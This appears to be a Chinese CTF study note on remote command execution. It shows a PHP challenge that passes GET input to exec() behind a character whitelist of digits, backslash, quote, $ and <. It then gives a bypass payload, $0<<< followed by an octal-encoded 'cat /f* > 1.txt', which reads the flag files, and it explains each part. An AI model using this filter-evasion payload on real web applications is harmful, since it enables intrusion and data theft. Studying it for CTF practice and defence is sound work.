RCE联系

过滤

绕过空格

● 进制绕过

题目练习

数字rce

使用$0执行bash,<<<将后面的字符串传递给左边的命令。

例如:
<?php highlight_file(FILE); function waf(cmd) { whiteList = '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '\\\\', '\\'', '$', '\<'; cmd_char = str_split(cmd); foreach (cmd_char as char) { if (!in_array(char, whiteList)) { die("hacker"); } } return cmd; } cmd = _GET\['cmd'\]; exec(waf(cmd)); cmd=0\<\<\<'\143\141\164\040\57\146\52\040\76\040\61\56\164\170\164' 0代表当前脚本名称,如何在bash里运行代表/bin/bash \<\<\<是bash中的Here String重定向符,会将后面的字符串作为标准输入传递给左边的命令 后面那段是八进制绕过,相当于'cat /f* > 1.txt'

相关推荐
我是一颗柠檬1 小时前
【MySQL全面教学】MySQL面试高频考点汇总Day15(2026年)
数据库·后端·mysql·面试
凯瑟琳.奥古斯特2 小时前
高阶子查询题目精炼
开发语言·数据库·python·职场和发展·数据库开发
身如柳絮随风扬2 小时前
数据库读写分离:从原理到实战,构建高并发系统
数据库·mysql
小饼干在学嘎瓦3 小时前
本地缓存和分布式缓存如何选择?
分布式·缓存
提笔了无痕3 小时前
RAG存储策略中.md格式的切片与存储怎么处理
数据库·ai·rag
陳土3 小时前
DuckDB精读——基于Getting started with DuckDB
数据库·oracle
凯瑟琳.奥古斯特4 小时前
数据库原理选择题精选
数据库·python·职场和发展
曹牧4 小时前
C#:主线程能够捕获到子线程中的异常
开发语言·数据库·c#